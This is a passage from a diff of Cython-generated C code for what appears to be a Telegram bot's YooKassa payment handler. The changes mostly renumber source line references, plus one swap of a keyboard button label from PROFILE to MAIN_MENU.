__pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 339, __pyx_L21_error) + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 339, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 347, __pyx_L21_error) + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 339, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_t_4)) __PYX_ERR(0, 347, __pyx_L21_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_t_4)) __PYX_ERR(0, 339, __pyx_L21_error); __pyx_t_4 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 348, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 340, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 348, __pyx_L21_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 340, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PROFILE); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 348, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_MAIN_MENU); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 340, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_12) < 0) __PYX_ERR(0, 348, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_12) < 0) __PYX_ERR(0, 340, __pyx_L21_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 348, __pyx_L21_error) - __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 348, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 340, __pyx_L21_error) + __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 340, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 348, __pyx_L21_error) + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 340, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_12); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_t_12)) __PYX_ERR(0, 348, __pyx_L21_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_t_12)) __PYX_ERR(0, 340, __pyx_L21_error); __pyx_t_12 = 0; - __pyx_t_12 = PyList_New(2); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 346, __pyx_L21_error) + __pyx_t_12 = PyList_New(2); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 338, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_GIVEREF(__pyx_t_3); - if (__Pyx_PyList_SET_ITEM(__pyx_t_12, 0, __pyx_t_3)) __PYX_ERR(0, 346, __pyx_L21_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_12, 0, __pyx_t_3)) __PYX_ERR(0, 338, __pyx_L21_error); __Pyx_GIVEREF(__pyx_t_2); - if (__Pyx_PyList_SET_ITEM(__pyx_t_12, 1, __pyx_t_2)) __PYX_ERR(0, 346, __pyx_L21_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_12, 1, __pyx_t_2)) __PYX_ERR(0, 338, __pyx_L21_error); __pyx_t_3 = 0; __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inline_keyboard, __pyx_t_12) < 0) __PYX_ERR(0, 346, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inline_keyboard, __pyx_t_12) < 0) __PYX_ERR(0, 338, __pyx_L21_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 345, __pyx_L21_error) + __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 337, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -9048,22 +9046,22 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_12; __pyx_t_12 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_send_message); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 352, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_send_message); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 344, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_12); - __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 352, __pyx_L21_error) + __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 344, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_cur_scope->__pyx_v_callback_query)) __PYX_ERR(0, 352, __pyx_L21_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_cur_scope->__pyx_v_callback_query)) __PYX_ERR(0, 344, __pyx_L21_error); - __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 354, __pyx_L21_error) + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 346, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_cur_scope->__pyx_v_payment_message) < 0) __PYX_ERR(0, 354, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_cur_scope->__pyx_v_payment_message) < 0) __PYX_ERR(0, 346, __pyx_L21_error) - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 354, __pyx_L21_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 346, __pyx_L21_error) - __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_t_1, __pyx_t_11); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 352, __pyx_L21_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_t_1, __pyx_t_11); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 344, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -9094,12 +9092,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_10); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 352, __pyx_L21_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 344, __pyx_L21_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 352, __pyx_L21_error) + else __PYX_ERR(0, 344, __pyx_L21_error) } } @@ -9107,7 +9105,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ } /*else*/ { - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_send_message); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 358, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_send_message); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 350, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_1 = NULL; __pyx_t_5 = 0; @@ -9124,10 +9122,10 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ } #endif { - PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_callback_query, __pyx_kp_u__9}; + PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_callback_query, __pyx_kp_u__8}; __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 358, __pyx_L21_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 350, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } @@ -9157,12 +9155,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_10); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 358, __pyx_L21_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 350, __pyx_L21_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 358, __pyx_L21_error) + else __PYX_ERR(0, 350, __pyx_L21_error) } } } @@ -9186,7 +9184,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_t_17 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_17) { __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_11, &__pyx_t_1) < 0) __PYX_ERR(0, 359, __pyx_L23_except_error) + if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_11, &__pyx_t_1) < 0) __PYX_ERR(0, 351, __pyx_L23_except_error) __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_11); __Pyx_XGOTREF(__pyx_t_1); @@ -9195,14 +9193,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_cur_scope->__pyx_v_e = __pyx_t_11; /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 360, __pyx_L35_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 352, __pyx_L35_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 360, __pyx_L35_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 352, __pyx_L35_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 360, __pyx_L35_error) + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 352, __pyx_L35_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_16 = __Pyx_PyUnicode_Concat(__pyx_kp_u__23, __pyx_t_3); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 360, __pyx_L35_error) + __pyx_t_16 = __Pyx_PyUnicode_Concat(__pyx_kp_u__22, __pyx_t_3); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 352, __pyx_L35_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -9224,13 +9222,13 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_t_12 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 360, __pyx_L35_error) + if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 352, __pyx_L35_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_send_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 361, __pyx_L35_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_send_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 353, __pyx_L35_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_16 = NULL; __pyx_t_5 = 0; @@ -9247,10 +9245,10 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ } #endif { - PyObject *__pyx_callargs[3] = {__pyx_t_16, __pyx_cur_scope->__pyx_v_callback_query, __pyx_kp_u__24}; + PyObject *__pyx_callargs[3] = {__pyx_t_16, __pyx_cur_scope->__pyx_v_callback_query, __pyx_kp_u__23}; __pyx_t_12 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); __Pyx_XDECREF(__pyx_t_16); __pyx_t_16 = 0; - if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 361, __pyx_L35_error) + if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 353, __pyx_L35_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } @@ -9295,12 +9293,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_t_11 = __pyx_cur_scope->__pyx_t_5; __pyx_cur_scope->__pyx_t_5 = 0; __Pyx_XGOTREF(__pyx_t_11); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 361, __pyx_L35_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 353, __pyx_L35_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 361, __pyx_L35_error) + else __PYX_ERR(0, 353, __pyx_L35_error) } } } @@ -9373,7 +9371,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ /*finally:*/ { /*normal exit:*/{ - __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_conn, __pyx_n_s_close); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 363, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_conn, __pyx_n_s_close); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 355, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_2 = NULL; __pyx_t_5 = 0; @@ -9393,7 +9391,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 363, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 355, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } @@ -9408,12 +9406,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_generator->resume_label = 11; return __pyx_r; __pyx_L42_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 363, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 355, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 363, __pyx_L1_error) + else __PYX_ERR(0, 355, __pyx_L1_error) } } goto __pyx_L7; @@ -9440,7 +9438,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __Pyx_XGOTREF(__pyx_t_23); __pyx_t_18 = __pyx_lineno; __pyx_t_17 = __pyx_clineno; __pyx_t_26 = __pyx_filename; { - __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_conn, __pyx_n_s_close); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 363, __pyx_L44_error) + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_conn, __pyx_n_s_close); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 355, __pyx_L44_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_2 = NULL; __pyx_t_5 = 0; @@ -9460,7 +9458,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 363, __pyx_L44_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 355, __pyx_L44_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } @@ -9511,12 +9509,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_cur_scope->__pyx_t_5 = 0; __Pyx_XGOTREF(__pyx_t_25); __pyx_t_26 = __pyx_cur_scope->__pyx_t_8; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 363, __pyx_L44_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 355, __pyx_L44_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 363, __pyx_L44_error) + else __PYX_ERR(0, 355, __pyx_L44_error) } } } @@ -9559,7 +9557,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __Pyx_XGOTREF(__pyx_t_10); __pyx_t_22 = __pyx_r; __pyx_r = 0; - __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_conn, __pyx_n_s_close); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 363, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_conn, __pyx_n_s_close); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 355, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_2 = NULL; __pyx_t_5 = 0; @@ -9579,7 +9577,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 363, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 355, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } @@ -9629,12 +9627,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_t_25 = __pyx_cur_scope->__pyx_t_9; __pyx_cur_scope->__pyx_t_9 = 0; __Pyx_XGOTREF(__pyx_t_25); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 363, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 355, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 363, __pyx_L1_error) + else __PYX_ERR(0, 355, __pyx_L1_error) } } __pyx_r = __pyx_t_22; @@ -9745,7 +9743,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 366, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 358, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -9753,21 +9751,21 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 366, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 358, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("_send_message", 0, 2, 3, 1); __PYX_ERR(0, 366, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("_send_message", 0, 2, 3, 1); __PYX_ERR(0, 358, __pyx_L3_error) } CYTHON_FALLTHROUGH; case 2: if (kw_args > 0) { PyObject* value = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_reply_markup); if (value) { values[2] = __Pyx_Arg_NewRef_FASTCALL(value); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 366, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 358, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "_send_message") < 0)) __PYX_ERR(0, 366, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "_send_message") < 0)) __PYX_ERR(0, 358, __pyx_L3_error) } } else { switch (__pyx_nargs) { @@ -9785,7 +9783,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("_send_message", 0, 2, 3, __pyx_nargs); __PYX_ERR(0, 366, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("_send_message", 0, 2, 3, __pyx_nargs); __PYX_ERR(0, 358, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -9799,7 +9797,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; - if (unlikely(!__Pyx_ArgTypeTest(((PyObject *)__pyx_v_text), (&PyUnicode_Type), 0, "text", 1))) __PYX_ERR(0, 366, __pyx_L1_error) + if (unlikely(!__Pyx_ArgTypeTest(((PyObject *)__pyx_v_text), (&PyUnicode_Type), 0, "text", 1))) __PYX_ERR(0, 358, __pyx_L1_error) __pyx_r = __pyx_pf_8handlers_8payments_12yookassa_pay_18_send_message(__pyx_self, __pyx_v_target, __pyx_v_text, __pyx_v_reply_markup); /* function exit code */ @@ -9829,7 +9827,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_18_send_message(CYT if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 366, __pyx_L1_error) + __PYX_ERR(0, 358, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -9843,7 +9841,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_18_send_message(CYT __Pyx_INCREF(__pyx_cur_scope->__pyx_v_reply_markup); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_reply_markup); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_20generator6, __pyx_codeobj__25, (PyObject *) __pyx_cur_scope, __pyx_n_s_send_message, __pyx_n_s_send_message, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 366, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_20generator6, __pyx_codeobj__24, (PyObject *) __pyx_cur_scope, __pyx_n_s_send_message, __pyx_n_s_send_message, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 358, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -9882,32 +9880,32 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_20generator6(__pyx_ return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 366, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 358, __pyx_L1_error) - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_types); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 368, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_types); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 360, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_CallbackQuery); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 368, 